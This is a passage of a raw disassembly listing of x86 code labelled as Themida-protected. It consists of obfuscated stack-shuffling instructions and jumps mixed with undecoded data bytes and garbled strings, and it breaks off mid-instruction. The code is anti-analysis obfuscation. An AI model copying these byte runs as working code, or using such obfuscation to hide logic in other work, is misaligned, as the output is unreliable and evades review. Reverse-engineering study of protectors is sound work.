jmp loc_556155 ; --------------------------------------------------------------------------- loc_556E4F: ; CODE XREF: Themida_:00553998j pop dword ptr [esp] pop esp push dword ptr [esp] jmp loc_5598E9 ; --------------------------------------------------------------------------- db 89h dd 0C5015DE8h, 60D3E958h, 6C810000h, 61680424h, 3C8B2981h dd 4C48324h, 389E9h db 0 ; --------------------------------------------------------------------------- loc_556E79: ; CODE XREF: Themida_:00560D4Dj mov esp, [esp] movzx ecx, al push ecx mov ecx, esp add ecx, 4 jmp loc_553C01 ; --------------------------------------------------------------------------- db 0BDh, 61h, 79h dd 0EE01629Ah, 81C6015Dh, 9A7961EEh, 34875862h, 24248B24h dd 76E9C331h, 81FFFFF8h, 0AD6814EFh, 0D0ECE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556EB6: ; CODE XREF: Themida_:00556D21j pop edx push eax mov eax, 47382F6Fh shl eax, 7 jmp loc_5588D2 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E1895158h, 4C181h, 0C1810000h, 4, 0D594E9h db 0 ; --------------------------------------------------------------------------- loc_556EDD: ; CODE XREF: Themida_:005618A7j pop dword ptr [esp] pop esp push 629Dh mov [esp], ebx push edx mov edx, 128C163Eh dec edx jmp loc_56788B ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 2404A30Fh, 0B677E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556F02: ; CODE XREF: Themida_:005655CBj add al, 0ECh mov ecx, [esp] add esp, 4 add bl, al jmp loc_560037 ; --------------------------------------------------------------------------- dd 0C589F889h, 0A72AE9h db 0 ; --------------------------------------------------------------------------- loc_556F1D: ; CODE XREF: Themida_:00559F23j push ecx mov ecx, 6BD42F4Bh or edx, ecx pop ecx shl edx, 5 push ebx mov ebx, 6E5655DEh dec ebx neg ebx jmp loc_55C35E ; --------------------------------------------------------------------------- db 42h dd 3795BB53h, 0EB8326D9h, 0D576E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556F46: ; CODE XREF: Themida_:005589F2j add esi, ebp pop ebp push ecx mov ecx, 5A58405Dh sub ebp, ecx jmp loc_555CDE ; --------------------------------------------------------------------------- loc_556F56: ; CODE XREF: Themida_:005678CAj pop ebp jmp loc_553B17 ; --------------------------------------------------------------------------- dd 0D10FBBB8h, 0DC35E905h, 0E95F0000h, 1C9Fh ; --------------------------------------------------------------------------- loc_556F6C: ; CODE XREF: Themida_:0055B9ABj pop edi push edx jmp loc_557D3F ; --------------------------------------------------------------------------- db 0BEh dd 437C43B4h, 34FFF329h, 0C4835E24h, 4EC8104h, 89000000h dd 75BA2414h, 81492B27h, 0D90388F2h, 0CEBF5766h, 0F76AA51Fh dd 0F94AE9D7h, 0D4F60000h, 0C0FFEC80h, 0E48007E4h, 6FF480E8h dd 6AE9E100h, 5F00007Dh, 0F9A5E9h db 0 ; --------------------------------------------------------------------------- loc_556FBD: ; CODE XREF: Themida_:0055973Ej shl edx, 8 shr edx, 8 sub edx, 0E257Dh add ebx, edx pop edx sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], esi pop eax jmp loc_55BFE5 ; --------------------------------------------------------------------------- db 1, 0F2h, 0E9h dd 0FFFFEF72h, 51242489h, 4EC81h, 1C890000h, 4BB24h, 0D9890000h dd 246C815Bh, 2A44AC04h, 244C0144h, 7C25E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557012: ; CODE XREF: Themida_:00557FA1j add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_555B7E ; --------------------------------------------------------------------------- loc_557023: ; CODE XREF: Themida_:00553E23j pop eax add ebp, 2EAE1FC0h jmp loc_565D4D ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 83000000h, 3C8704EFh, 24895C24h, 1BE95624h db 0D7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557047: ; CODE XREF: Themida_:00557C81j mov ebx, 634562F1h sub ebx, 634562F0h push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_558532 ; --------------------------------------------------------------------------- dd 158C729h, 0D484E9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55706E: ; CODE XREF: Themida_:00559E71j mov edi, [esp] add esp, 4 jmp loc_558195 ; --------------------------------------------------------------------------- a_su db '_ιu,',0 align 2 dw 0E9C1h dd 0C1D9F705h, 92E907E9h, 0B1FFFFBFh, 58E95064h, 6600006Eh dd 5A66D301h, 0E9FB2966h, 7847h, 1F0AE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5570AA: ; CODE XREF: Themida_:00566E14j pop ecx jmp loc_55E3FF ; --------------------------------------------------------------------------- loc_5570B0: ; CODE XREF: Themida_:005658B8j push ecx jmp loc_567B52 ; --------------------------------------------------------------------------- dw 8F59h dd 7CE92404h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5570BF: ; CODE XREF: Themida_:005664A9j push ebx mov ebx, 14C271DAh jmp loc_55B8CC ; --------------------------------------------------------------------------- dw 515Eh dd 730168B9h, 34E18113h, 0F7791610h, 41E949D9h, 56000082h dd 4BEh, 24740100h, 24348B04h, 0E904C483h, 5F1h, 0EA80D2F6h dd 0BA2CCDh, 0CB252D0h, 0C280D2F6h, 30CEE911h, 34890000h dd 32CDE924h, 0C1810000h, 42DBC7C0h, 545BEB81h, 0CB296C30h dd 6273BA52h, 0D2E92238h, 0B600005Ch, 0E9A2B1DFh, 520Ah dd 5635DCBAh, 0E9DAF760h, 0FFFFEF84h, 5100EA81h, 0EA8175E2h dd 302B6B2Eh, 0C281CA29h, 302B6B2Eh, 0EEFCE9h, 94BA5200h dd 0C106BD5Dh, 0E2C107E2h, 0C2814204h, 26FB7442h, 0B1D9E9h db 0 ; --------------------------------------------------------------------------- loc_557171: ; CODE XREF: Themida_:00561EDFj pop ecx mov ebx, [esp] add esp, 4 jmp loc_553283 ; --------------------------------------------------------------------------- dd 0C037F0BEh, 5EF7091Eh, 0AC9CEF81h, 0F801F8B4h, 56243C8Bh dd 0C681E689h, 4, 8704C683h, 815C2434h, 94168EC3h, 0BEC3811Ah dd 0E926A166h, 0B6BDh, 9C2424D2h, 0FFB3BCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5571BD: ; CODE XREF: Themida_:0055DD23j or edi, 48E25751h jmp loc_562136 ; --------------------------------------------------------------------------- loc_5571C8: ; CODE XREF: Themida_:00564615j xchg edi, [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_55402F ; --------------------------------------------------------------------------- loc_5571D6: ; CODE XREF: Themida_:0056453Aj mov edx, edi pop edi sub ebp, edx jmp loc_55735F ; --------------------------------------------------------------------------- loc_5571E0: ; CODE XREF: Themida_:0055D3D0j xor cl, 83h shl cl, 3 xor cl, 6Bh mov bl, cl pop ecx jmp loc_553B55 ; --------------------------------------------------------------------------- db 5Ch, 89h, 14h dd 0E356E924h, 1487FFFFh, 4BB7E924h, 34FF0000h, 990CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55720A: ; CODE XREF: Themida_:0055C7D0j push 7956h mov [esp], edi mov edi, 4 sub eax, 7FF15424h jmp loc_564734 ; --------------------------------------------------------------------------- db 1, 0F3h, 81h dd 7C202EEBh, 0EB815E1Ch, 4, 5C241C87h, 0E9240C89h, 0FFFFB33Dh dd 0FF2434FFh, 81582434h, 4C4h, 8B545000h, 0C4812404h dd 4, 6279E9h, 4EC8100h, 89000000h, 4B9240Ch, 0E9000000h dd 3882h, 4C481h, 7680000h, 89000061h, 55502434h, 0A5FEE9h dd 33E94600h, 5A0000C2h, 2148E9h, 5FE95C00h, 8BFFFFEEh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_565129 ; --------------------------------------------------------------------------- dw 0BB53h dd 64E3069Eh, 2D73F381h, 8143192Bh, 0BC7870F3h, 0A7F38136h dd 1B07318h, 241C8BD9h, 8904C483h, 0B85059CEh, 15320644h dd 0E6F8E9h, 0E9E08900h, 327Eh, 4C481h, 0E8C10000h, 3E0C102h dd 8952D0F7h, 0C36AE9E2h, 8966FFFFh, 0F66240Ch, 5166C8B6h dd 0B26FE99Ch, 34FFFFFFh, 24048B24h, 0F143E9h, 0DC68100h dd 568D30C2h, 977C98BEh, 0F7D6F770h, 58ECE9DEh, 0B4500000h dd 0F9FEE97Ah, 5A54FFFFh, 4991BD55h, 0F7553AEFh, 2C8B2414h dd 9060E924h, 33590000h, 1C31241Ch, 8082E924h, 58BB0000h dd 291E4E4Ah, 0DEE95BDDh db 0E4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55735F: ; CODE XREF: Themida_:005571DBj pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx push esi jmp loc_55CC88 ; --------------------------------------------------------------------------- loc_557375: ; CODE XREF: Themida_:00564345j sub esp, 4 jmp loc_55ED9E ; --------------------------------------------------------------------------- dd 9EC6815Eh, 893DD713h, 4EE95EF2h, 51000018h, 68E3E9h db 0 ; --------------------------------------------------------------------------- loc_557395: ; CODE XREF: Themida_:00556A47j sub dl, ch add dl, 54h pop ecx add al, dl pop dx add al, cl sub al, 42h pop ecx push 6223h mov [esp], ecx push eax mov al, 2Dh mov cl, al pop eax neg cl push eax mov ah, 30h shl ah, 8 jmp loc_56362F ; --------------------------------------------------------------------------- db 81h dd 0B87CC0C5h, 81D5F738h, 92C5C2C5h, 5DE8290Dh, 99E9F001h db 0ECh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5573D7: ; CODE XREF: Themida_:00559C4Aj mov esi, 4 add edi, esi pop esi push 339Bh mov [esp], ebp jmp loc_559F3B ; --------------------------------------------------------------------------- dd 246C815Fh, 0CD07C404h, 348B5A79h, 0E6EEE924h, 0C483FFFFh dd 83C33004h, 0C8904ECh, 50C58824h, 28B8h, 0E9F80100h dd 0FFFFC5CCh ; --------------------------------------------------------------------------- loc_557418: ; CODE XREF: Themida_:00554F0Fj mov esi, 4 add eax, 75A40241h add eax, 6D355780h add eax, esi push ebp jmp loc_567194 ; --------------------------------------------------------------------------- loc_55742F: ; CODE XREF: Themida_:0056168Cj mov esi, 412D5444h xor esi, 74611EC5h dec esi add esi, 2060E9BFh add ebp, esi pop esi sub ebx, 70A612F2h sub ebx, ebp add ebx, 70A612F2h pop ebp add ebx, offset byte_467139 xor ebx, 6476898Bh and esi, ebx jmp loc_563737 ; --------------------------------------------------------------------------- dw 8B66h dd 9D682404h, 8900005Bh, 0E589242Ch, 0BC9BA52h, 3FE945E3h dd 890000DAh, 0EC81241Ch, 4, 47D1E9h db 0 ; --------------------------------------------------------------------------- loc_55748D: ; CODE XREF: Themida_:005576B0j add ebx, 21796F2Bh add ebx, ecx jmp loc_562ED3 ; --------------------------------------------------------------------------- aCsI db '^Ρζι',9,'',0 align 2 loc_5574A2: ; CODE XREF: Themida_:00560F55j pop ebp inc ebp push ecx jmp loc_564B44 ; --------------------------------------------------------------------------- aWsN db 'WιΊ',0 align 10h dd 6C7B951h, 0CD290E07h, 8C68E959h, 0C4810000h, 4, 0FFD016E9h db 0FFh ; --------------------------------------------------------------------------- loc_5574C9: ; CODE XREF: Themida_:005596F6j push ebp jmp loc_5536B2 ; --------------------------------------------------------------------------- db 0F7h dd 81D5F7D5h, 0D6EC9EDh, 5DEF8902h, 1EB1E9h, 0ACE99300h dd 80FFFFB6h, 0C8005CC1h, 83240C8Bh, 0E8E904C4h, 490000C1h dd 0EC81CE87h, 4, 0B8240489h, 0D853D8E2h, 0E283E9h db 0 ; --------------------------------------------------------------------------- loc_55750D: ; CODE XREF: Themida_:00560A35j add edx, 283F7907h add edx, ebx jmp loc_55C21E ; --------------------------------------------------------------------------- loc_55751A: ; CODE XREF: Themida_:0055C7C5j xchg ecx, [esp] jmp loc_555EA0 ; --------------------------------------------------------------------------- dw 0E959h dd 0B804h ; --------------------------------------------------------------------------- loc_557528: ; CODE XREF: Themida_:0055E87Ej push edi push esi push 2A8929E0h pop esi jmp loc_56163A ; --------------------------------------------------------------------------- loc_557535: ; CODE XREF: Themida_:005598EAj sub esp, 4 mov [esp], ebx mov ebx, esp push edi mov edi, 7D697DD7h not edi dec edi shr edi, 8 jmp loc_5649C5 ; --------------------------------------------------------------------------- loc_557551: ; CODE XREF: Themida_:00561EF9j mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_554F5D ; --------------------------------------------------------------------------- loc_557575: ; CODE XREF: Themida_:00560FE8j mov ecx, eax pop eax mov edi, [esp] add esp, 4 add edx, 320B1893h jmp loc_55A9BC ; --------------------------------------------------------------------------- loc_55758C: ; CODE XREF: Themida_:00553A80j mov ch, 88h add bl, ch pop cx push 65CAh jmp loc_55E5D7 ; --------------------------------------------------------------------------- loc_55759C: ; CODE XREF: Themida_:00552B30j xor edi, esi pop esi neg edi jmp loc_5566E5 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC83240Ch, 24148904h, 2434FF54h, 8B2434FFh, 0C4812414h dd 4, 0E904C483h, 101F4h ; --------------------------------------------------------------------------- loc_5575C8: ; CODE XREF: Themida_:0055A46Fj shl edi, 3 add edi, 64AA23BEh neg edi push eax mov eax, 1C64453Eh inc eax jmp loc_553112 ; --------------------------------------------------------------------------- db 1 aPGvXysV db 'ΝPΈ',7,']£V)ΕXYιΡV',0 align 10h loc_5575F0: ; CODE XREF: Themida_:0055A782j add edx, 446D38DEh pop ebp shr edx, 4 push ecx mov ecx, 5C2E6D1Dh add edx, ecx pop ecx sub edx, 0D3B286D6h add eax, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_56757A ; --------------------------------------------------------------------------- loc_55761C: ; CODE XREF: Themida_:00558561j mov edi, 56D93514h jmp loc_558DB6 ; --------------------------------------------------------------------------- aSF db '^ιΈF',0 align 4 loc_55762C: ; CODE XREF: Themida_:0055ADAFj pop dword ptr [esp] push 626Fh mov [esp], edi push ebp mov edi, [esp] add esp, 4 mov ebp, [esp] add esp, 4 not ebp jmp loc_552C95 ; --------------------------------------------------------------------------- dw 0FFB0h aS_9 db '(ΕιΔ+',0 dw 8900h dd 1E682434h, 0E900001Ch, 7341h, 64E9515Ch, 1000047h, 0EFE981E9h dd 5D0B3A60h, 31240C33h, 0C33240Ch, 24248B24h, 8B2434FFh dd 8950240Ch, 405E0h, 0C0830000h, 24048704h, 42AA685Ch dd 1C890000h, 4EC8124h, 89000000h, 4832424h, 54E90424h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_5576AF: ; CODE XREF: Themida_:00555E39j pop edx jmp loc_55748D ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0F7000000h, 0AB50E9D2h, 0F2010000h, 4C2835Eh, 31241433h dd 0B1E92414h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5576D3: ; CODE XREF: Themida_:00553D88j jz loc_5546EE push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx jmp loc_552CA8 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 0E904C483h, 0FFFFFC9Fh, 60EE815Ah, 0F7501714h, 0C3C681D6h dd 11F4D86h, 0F2C7E9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557706: ; CODE XREF: Themida_:0055832Fj xor ebp, [esp] mov esp, [esp] sub esp, 4 jmp loc_563DE1 ; --------------------------------------------------------------------------- dd 4245401h, 4847E9h, 81E18900h, 4C1h, 4C18100h, 87000000h dd 0E95C240Ch, 0B27Fh, 5E08950h, 4, 405h, 24048700h, 647A685Ch dd 99E90000h, 810000E9h, 0AA390EC6h, 5EF20195h, 148BD089h dd 4C48324h, 89585950h, 240C8BCFh, 604CE9h, 5DE98900h dd 3FB9B951h, 0D9F73DFBh, 956EE981h, 0C82986A1h, 0D432E959h dd 6C81FFFFh, 7E4C0424h, 0A4E92C9Ch db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_557793: ; CODE XREF: Themida_:00567B80j sub esi, 6DC1029Eh push ecx jmp loc_554458 ; --------------------------------------------------------------------------- aBDunzsm2 db ',$½dξNZι2',0 align 4 dd 240C8B66h, 5B7668h, 24048900h, 0EC81E089h, 4, 89241C89h dd 4C381E3h, 81000000h, 4EBh, 74FF5300h, 8F5B0424h, 0E95C2404h dd 0C47Bh, 0E94077FFh, 0FFFFAD91h, 34FFCF01h, 240C8B24h dd 4C481h, 39E90000h, 8BFFFFFFh, 0C4812414h, 4, 0FF1C4721h dd 79E92434h, 5A0000ADh, 64E9C329h, 810000C9h, 0E61D73F5h dd 8EDC14Ch, 0BEE9D5F7h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557827: ; CODE XREF: Themida_:00555B79j add ebx, 4 push edx mov edx, 4 jmp loc_55481F ; --------------------------------------------------------------------------- dd 0E924048Fh, 0EB68h, 0BD94C581h, 0E901A126h, 0FC40E9h db 0 ; --------------------------------------------------------------------------- loc_55784D: ; CODE XREF: Themida_:0055D48Cj add esp, 4 xor ebx, edx mov edx, [esp] push 7134h mov [esp], esi mov esi, esp push ebx mov ebx, 1D8418E6h and ebx, 6E17760Ah jmp loc_55C0D3 ; --------------------------------------------------------------------------- loc_557873: ; CODE XREF: Themida_:00557B94j sub ebp, 4 xchg ebp, [esp] jmp loc_567747 ; --------------------------------------------------------------------------- db 81h, 0F6h, 0E2h dd 2943C799h, 0DF295EF7h, 71CC781h, 48E94322h, 50FFFFD4h dd 0E9525854h, 0FFFFBA1Fh, 7E46BA52h, 0EAC13287h, 0EA814205h dd 84D097Ah, 26C3F281h, 8BE9A606h, 8900000Ah, 68502414h dd 7510AF3h, 8E45E9h, 79BD5500h, 0D13A0C4Bh, 1F4FE9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5578D6: ; CODE XREF: Themida_:00557D3Aj add edi, 0EA99AE11h add edx, edi pop edi push ebp push edi jmp loc_567D1B ; --------------------------------------------------------------------------- dw 0BA52h dd 33274E9h, 15AD329h, 0E9C381D3h, 5A033274h, 409F68h dd 243C8900h, 4BFh, 0E9FB0100h, 40ADh ; --------------------------------------------------------------------------- loc_55790C: ; CODE XREF: Themida_:00553C29j xor ebp, 0CFE950A8h jmp loc_556C2D ; --------------------------------------------------------------------------- db 68h dd 25F5h, 0C531E9h, 0F5815F00h, 2C826F2Eh, 0BB5DE889h dd 0D7689996h, 0B9E9C301h, 500000C8h, 0FFFFFFB8h, 58C229FFh dd 8904EC83h, 46E9242Ch, 8B000089h, 0C483240Ch, 6E1C104h dd 1BE56h, 0F1290000h, 0DEF1815Eh, 0E91FD20Fh, 0FFFFC239h dd 0C019B252h, 0B4E904E2h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557973: ; CODE XREF: Themida_:00554267j pop edx jmp loc_556DAC ; --------------------------------------------------------------------------- db 81h, 0E6h, 3Dh dd 0C1424424h, 0C68102E6h, 48CB5A25h, 0DAD1B951h, 0CE2950CBh dd 0A12FE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557996: ; CODE XREF: Themida_:0056017Aj xchg ebp, [esp] jmp loc_557D8B ; --------------------------------------------------------------------------- loc_55799E: ; CODE XREF: Themida_:00556AA4j mov eax, 77233076h jmp loc_562814 ; --------------------------------------------------------------------------- loc_5579A8: ; CODE XREF: Themida_:00566231j pop eax push edx mov edx, 0FFFEFCBBh xor ebp, edx pop edx add edx, ebp pop ebp push eax mov eax, 113D6B65h neg eax jmp loc_564C88 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 0E9241C89h, 0FFFFFAD6h, 8304C483h, 895704C4h dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 241C895Ch, 42474FFh dd 5B2434FFh, 8F04C483h, 248B2404h, 24148924h, 6EE99C50h dd 5FFFFFABh, 2B75852Dh, 501A0563h, 0C6318149h, 8324048Bh dd 3EE904C4h db 0DDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557A23: ; CODE XREF: Themida_:00554660j mov ebp, ebx pop ebx add esi, ebp mov ebp, [esp] add esp, 4 jmp loc_55F0D5 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 1D05E900h, 0ED810000h, 0B626D616h, 6882C281h dd 0EA292E65h, 6882EA81h, 295D2E65h, 8BBF57C2h, 0E9003307h dd 0FFFFD108h, 0E924048Bh, 3869h, 3A774E68h, 51AFE943h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557A72: ; CODE XREF: Themida_:00565EB7j pop bx jmp loc_5667D2 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 8124048Fh, 42404h, 0A9E90000h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557A8F: ; CODE XREF: Themida_:00563121j push esi mov esi, 669CFED2h jmp loc_5583CD ; --------------------------------------------------------------------------- dw 0C483h dd 0E1895104h, 4C181h, 0E9810000h, 4, 0B9A2E9h, 0E998B600h dd 0FFFFBEF9h, 731BE56h, 8DE94677h, 81000055h, 3130DAC5h dd 0E2C58150h, 12BDF45h, 0E2ED81F5h, 812BDF45h, 3130DAEDh dd 0F5815E50h, 2B58813h, 0DD5FE82Dh, 5E80172h, 72DD5FE8h dd 0E9242C8Bh, 0FFFFF774h, 68D830ACh, 66Dh, 50240C89h dd 881DB252h, 0FF2C5AD0h, 407E8C0h, 0E9C188D5h, 4889h dd 0E2C0C2FEh, 65EA8006h, 148BD300h, 3AB26824h, 3C890000h dd 0D3A5E924h, 0EE81FFFFh, 0EF963EF4h, 2C41D005h, 4C56055Ah dd 0F0291146h, 464C562Dh, 41D02D11h, 348B5A2Ch, 0D27EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557B56: ; CODE XREF: Themida_:005606BEj mov [esp], eax mov ebx, [esp] push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push eax push esi jmp loc_55FE0B ; --------------------------------------------------------------------------- aSlq db '[ιlQ',0 dd 5EF50900h, 2414F755h, 8145455Dh, 5E7FBBC5h, 5DEF011Ah db 83h, 0C7h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_557873 ; --------------------------------------------------------------------------- aBqGAsi db 'ο·£ιI',0 align 4 dd 0E905EBC1h, 0FFFFDA2Eh, 5D08B4BBh, 36B9517Dh, 14B8414h dd 5908244Ch, 4245C29h, 4246C81h, 4B841436h, 51241C8Bh dd 0C181E189h, 4, 4C181h, 0C870000h, 24248B24h, 0F5C3E958h dd 0BB590000h, 9EF09C37h, 1E6CB850h, 9A2D4E2Bh, 1E86212h dd 0D53AE9C3h, 76E9FFFFh, 5BFFFFA9h, 3D7F68h, 242C8900h dd 4BDh, 5AEB8100h, 50435E2Dh, 0FFF33FE9h db 0FFh ; --------------------------------------------------------------------------- loc_557C1D: ; CODE XREF: Themida_:005641C4j mov edi, 3F066D19h not edi push ecx mov ecx, 12162CFCh shl ecx, 4 inc ecx push edi mov edi, 75277607h shr edi, 1 add edi, 0D7A40B2h jmp loc_55A3E6 ; --------------------------------------------------------------------------- loc_557C41: ; CODE XREF: Themida_:00562A7Dj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_563231 ; --------------------------------------------------------------------------- aVsI db 'VιΤλ',0 dd 2DD00100h, 750754A3h, 56D8015Ah, 4146A668h, 0F6815E5Bh dd 6BBD164Ah, 0FFCF26E9h, 0A903E9FFh, 34FFFFFFh, 1D8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C7E: ; CODE XREF: Themida_:005614BFj mov [esp], ebx jmp loc_557047 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C481h, 2C870000h, 24248B24h, 0E668C80Fh, 89000015h dd 0D2E92404h, 2DFFFFA8h, 441F3734h, 0D42E981h, 0C1291565h dd 0D42C181h, 5A581565h, 0C8BC829h, 69E95124h db 0FCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557CC7: ; CODE XREF: Themida_:00558373j push 7673h mov [esp], ebp push 0E42h jmp loc_555EF1 ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4C681h, 0B0E90000h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557CE7: ; CODE XREF: Themida_:005597ACj mov [esp], eax jmp loc_5552B3 ; --------------------------------------------------------------------------- aXwsb db 'XWι½',0 align 2 dw 0D2F7h dd 6A7AEA81h, 0C281440Bh, 0B2832319h, 0FDE9D601h, 0FF00004Eh dd 815E2434h, 4C4h, 0D210E900h, 0F229FFFFh, 8124348Bh dd 4C4h, 24148700h, 6624248Bh, 0E9241489h, 0A01Ah ; --------------------------------------------------------------------------- loc_557D34: ; CODE XREF: Themida_:0055EEA5j or edi, 22287937h jmp loc_5578D6 ; --------------------------------------------------------------------------- loc_557D3F: ; CODE XREF: Themida_:00556F6Ej mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] pop esp jmp loc_5597B1 ; --------------------------------------------------------------------------- aVh3k1sfj db 'Vh3KΛ1ιF¦',0 db 0 ; --------------------------------------------------------------------------- loc_557D5B: ; CODE XREF: Themida_:00565E7Fj mov ebx, edi pop edi inc ebx dec ebx sub ebx, 797C3B2Fh add edx, ebx jmp loc_560243 ; --------------------------------------------------------------------------- db 59h, 0C1h, 0E9h dd 50F18103h, 521E9E58h, 5F2EE9h, 5AD70000h, 8058E730h dd 79E9BFC7h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557D8B: ; CODE XREF: Themida_:00557999j mov esp, [esp] mov [esp], eax sub esp, 4 jmp loc_566872 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8124h, 89000000h, 8B54240Ch, 8956240Ch, 4C681E6h dd 83000000h, 48904ECh, 4B824h, 0C6010000h, 8324048Bh dd 348704C4h, 24248B24h, 4281E9h, 58C70100h, 9F8F781h dd 0FA015F61h, 0E9243C8Bh, 2F37h, 5504C483h, 0C365DBDh dd 5DE93145h, 39E9CD01h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557DF7: ; CODE XREF: Themida_:00560674j mov ecx, esp add ecx, 4 jmp loc_56039B ; --------------------------------------------------------------------------- dd 275DEA81h, 84E97581h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E0F: ; CODE XREF: Themida_:0055BA9Aj pop eax jmp loc_55804F ; --------------------------------------------------------------------------- loc_557E15: ; CODE XREF: Themida_:00553B31j add esp, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_56536A ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 0B9685304h, 5B47A623h, 23BDF381h, 0C18147A6h dd 5E90540Bh, 0E952D901h, 0C2C3h, 24048B66h, 590768h, 429FE900h dd 48B0000h, 4C48124h, 51000000h, 0BE56E189h, 332E5717h dd 37E9D6F7h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E6F: ; CODE XREF: Themida_:00564B3Fj mov [esp], edi push eax jmp loc_555596 ; --------------------------------------------------------------------------- dd 0AA3B2DBBh, 5BDE2903h, 2697C681h, 26E93213h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557E8B: ; CODE XREF: Themida_:005609AFj mov [esp], ecx push 4C88h mov [esp], ebx mov ebx, 3FCh push edi sub esp, 4 mov [esp], ecx push ebx push edi mov edi, 618314E6h xor [esp+4], edi pop edi pop ecx xor ecx, 618314E6h push edx mov edx, ecx mov edi, edx mov edx, [esp] jmp loc_55A817 ; --------------------------------------------------------------------------- dw 0D801h dd 4EC815Bh, 89000000h, 45BB241Ch, 136FB3Fh, 0D8015BD8h dd 0D12DE9h db 0 ; --------------------------------------------------------------------------- loc_557EDD: ; CODE XREF: Themida_:00564F0Ej mov [esp], esi mov esi, 5632B16h add esi, 3D9B4CB2h sub esp, 4 mov [esp], edx mov edx, 78A84B2Fh or esi, edx jmp loc_5623FB ; --------------------------------------------------------------------------- db 81h, 0EEh, 4 dd 0E9000000h, 0A7F0h, 6659CF08h, 66711A68h, 0B1240C89h dd 0F1FCE9BDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557F1A: ; CODE XREF: Themida_:0055F735j mov cx, [esp] add esp, 2 shl ch, 3 jmp loc_553C2E ; --------------------------------------------------------------------------- dd 0E9242C89h, 0FFFFF86Bh, 0E92434FFh, 0FFFFF34Bh, 58C5295Ah dd 0AE3DF581h, 0EE012EC4h, 81CE015Dh, 9C706FEEh, 0C6815921h dd 4, 5C243487h, 0FFA618E9h db 0FFh ; --------------------------------------------------------------------------- loc_557F61: ; CODE XREF: Themida_:0055FD3Dj mov eax, 74195DF2h mov edx, eax pop eax add edx, 1E6449E3h push eax jmp loc_554231 ; --------------------------------------------------------------------------- db 66h, 0Fh, 0BBh dd 0E99C2404h, 0FFFFA5F9h, 0FFFFC781h, 0EC83FFFFh, 242C8904h dd 0ACF9E9h db 0 ; --------------------------------------------------------------------------- loc_557F91: ; CODE XREF: Themida_:0056332Cj push 5F65h mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_557012 ; --------------------------------------------------------------------------- dw 81BBh dd 4B1F221Bh, 5345E9h, 1E95F00h, 8900004Ch, 4C281E2h, 68000000h dd 592Fh, 0BE243489h, 50364FAFh, 68DEF746h, 398Ah, 56241489h dd 125C4468h, 0F39EE91Ah, 0C281FFFFh, 5EF4249Dh, 7635CA81h dd 0EFE90AEFh, 29000087h, 1C8758C3h, 24248B24h, 89241489h dd 4C281E2h, 81000000h, 4ECh, 24048900h, 53033EB8h, 52555100h dd 967EE9h db 0 ; --------------------------------------------------------------------------- loc_55801D: ; CODE XREF: Themida_:00563CAFj add ebp, edi pop 